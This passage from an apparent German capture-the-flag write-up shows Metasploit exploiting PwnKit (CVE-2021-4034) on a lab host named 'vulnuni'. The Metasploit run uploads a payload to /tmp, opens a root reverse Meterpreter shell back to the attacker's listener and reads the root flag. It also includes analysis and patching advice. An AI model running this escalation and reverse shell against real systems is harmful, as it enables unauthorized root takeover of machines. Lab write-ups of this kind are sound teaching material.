msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4445
lport => 4445
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture: x86 (expected: x64)
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Pkexec binary found at /usr/bin/pkexec
[*] Writing '/tmp/.FtVhzm' (218 bytes) ...
[*] Writing exploit payload into /tmp/.uLhQnZ...
[*] Uploading payload...
[*] Executing exploit /tmp/.uLhQnZ ...
[*] Sending stage (205880 bytes) to 192.168.2.117
[+] Deleted /tmp/.uLhQnZ
[+] Deleted /tmp/.FtVhzm
[*] Meterpreter session 2 opened (192.168.2.199:4445 -> 192.168.2.117:51059) at 2023-10-08 23:56:21 +0200
                    

Analyse: Hier wird das Metasploit Framework verwendet, um den PwnKit-Exploit auszuführen. * `msfconsole -q`: Startet Metasploit ohne Banner. * `use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`: Lädt das Exploit-Modul für PwnKit. Standardmäßig wird ein Meterpreter-Payload (hier `linux/x64/meterpreter/reverse_tcp`) ausgewählt. * `set session 1`: Gibt an, dass der Exploit über die bestehende Session 1 (die `www-data`-Shell) ausgeführt werden soll. * `set lhost eth0`: Setzt die IP-Adresse des Angreifersystems (wo der Listener für die neue Shell lauscht) auf die IP der Netzwerkkarte `eth0` (angenommen 192.168.2.199). * `set lport 4445`: Setzt den Port für den neuen Listener auf 4445. * `run`: Startet den Exploit. Metasploit führt folgende Schritte aus: 1. Startet einen Listener auf Port 4445. 2. Überprüft, ob das Ziel über die Session 1 verwundbar ist (findet `/usr/bin/pkexec`). 3. Lädt die notwendigen Exploit-Dateien (`/tmp/.FtVhzm`, `/tmp/.uLhQnZ`) über die bestehende Session 1 ins `/tmp`-Verzeichnis des Ziels hoch. 4. Führt den Exploit (`/tmp/.uLhQnZ`) auf dem Ziel aus. 5. Der Exploit nutzt die PwnKit-Schwachstelle in `pkexec` aus, um Code mit Root-Rechten auszuführen. Dieser Code ist der Meterpreter-Payload. 6. Der Payload verbindet sich zurück zum Listener auf Port 4445. 7. Metasploit meldet "Meterpreter session 2 opened". 8. Die hochgeladenen Exploit-Dateien werden automatisch bereinigt. Es gibt eine Warnung bezüglich inkompatibler Architektur (`x86` vs. `x64`), die sich aber nicht negativ auswirkt.

Bewertung: Fantastisch! Der PwnKit-Exploit war erfolgreich. Eine neue Meterpreter-Session (Session 2) wurde geöffnet, die nun mit Root-Rechten läuft. Dies demonstriert eindrücklich die Gefahr, die von veralteten SUID-Binaries ausgeht. Der Proof of Concept ist damit erbracht.

Empfehlung (Pentester): Interagieren Sie mit der neuen Meterpreter-Session 2 (`sessions -i 2`). Verifizieren Sie die Root-Rechte (`getuid`, `whoami`). Suchen und lesen Sie die Root-Flag (üblicherweise in `/root/root.txt`).
Empfehlung (Admin): Patchen Sie das System dringend, um CVE-2021-4034 zu beheben (Update für `policykit-1`). Überwachen Sie das `/tmp`-Verzeichnis auf verdächtige Dateierstellungen und -ausführungen. Implementieren Sie Sicherheitsmaßnahmen, die das Hochladen und Ausführen von Binärdateien durch niedrig privilegierte Benutzer erschweren.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > sessions -l
Active sessions
===============

  Id  Name  Type                   Information            Connection
  --  ----  ----                   -----------            ----------
  1         shell linux            uid=33, euid=33 @ vulnuni 192.168.2.199:4444 -> 192.168.2.117:49152 (192.168.2.117)
  2         meterpreter x64/linux  uid=0, euid=0 @ vulnuni   192.168.2.199:4445 -> 192.168.2.117:51059 (192.168.2.117)
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter > cd /root
meterpreter > ls
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  0     fil   2020-03-18 15:57:50 +0100  .bash_history
100644/rw-r--r--  3106  fil   2012-04-19 11:15:14 +0200  .bashrc
040700/rwx------  4096  dir   2020-03-18 15:04:25 +0100  .cache
040700/rwx------  4096  dir   2020-03-18 15:04:42 +0100  .config
040700/rwx------  4096  dir   2020-03-18 15:04:25 +0100  .dbus
040700/rwx------  4096  dir   2020-03-18 15:04:26 +0100  .gvfs
040755/rwxr-xr-x  4096  dir   2020-03-18 15:04:25 +0100  .local
100600/rw-------  35    fil   2020-03-18 15:44:42 +0100  .nano_history
100644/rw-r--r--  140   fil   2012-04-19 11:15:14 +0200  .profile
040700/rwx------  4096  dir   2023-10-08 16:15:57 +0200  .pulse
100600/rw-------  256   fil   2020-03-17 23:43:35 +0100  .pulse-cookie
100644/rw-r--r--  33    fil   2020-03-18 00:38:54 +0100  flag.txt
                    
meterpreter > cat flag.txt
ff19f8d0692fe20f8af33a3bfa6635dd

Analyse: Die Befehle werden nun innerhalb der Meterpreter-Session 2 ausgeführt. * `sessions -l`: Listet die aktiven Sessions auf. Session 1 ist die ursprüngliche `www-data`-Shell, Session 2 ist die neue Meterpreter-Session, die als `uid=0, euid=0` (root) läuft. * `sessions -i 2`: Wechselt zur interaktiven Kontrolle von Session 2. * `getuid`: Bestätigt, dass die aktuelle Benutzer-ID `root` ist. * `cd /root`: Wechselt in das Home-Verzeichnis des Root-Benutzers. * `ls`: Listet den Inhalt von `/root` auf. Eine Datei namens `flag.txt` wird gefunden. * `cat flag.txt`: Liest den Inhalt der Root-Flag-Datei.

Bewertung: Ziel erreicht! Die Root-Rechte wurden bestätigt, und die Root-Flag (`ff19f8d0692fe20f8af33a3bfa6635dd`) wurde erfolgreich ausgelesen. Der gesamte Angriffspfad von der ersten Enumeration bis zur vollständigen Systemkontrolle wurde erfolgreich demonstriert.

Empfehlung (Pentester): Dokumentieren Sie die Root-Flag. Führen Sie abschließende Aufräumarbeiten durch, falls erforderlich (obwohl Metasploit bereits einige Spuren beseitigt hat). Erstellen Sie den Abschlussbericht.
Empfehlung (Admin): Neben dem Patchen von PwnKit und der Behebung der initialen Schwachstellen (SQLi, Upload): Führen Sie eine vollständige Systemprüfung und Bereinigung durch. Überprüfen Sie Logs auf weitere verdächtige Aktivitäten. Implementieren Sie umfassende Sicherheitsmaßnahmen (Patch-Management, Härtung, Monitoring, Egress Filtering), um zukünftige Angriffe zu verhindern oder zu erschweren.

Flags

cat /home/vulnuni/flag.txt
68fc668278d9b0d6c3b9dc100bee181e
cat /root/flag.txt
ff19f8d0692fe20f8af33a3bfa6635dd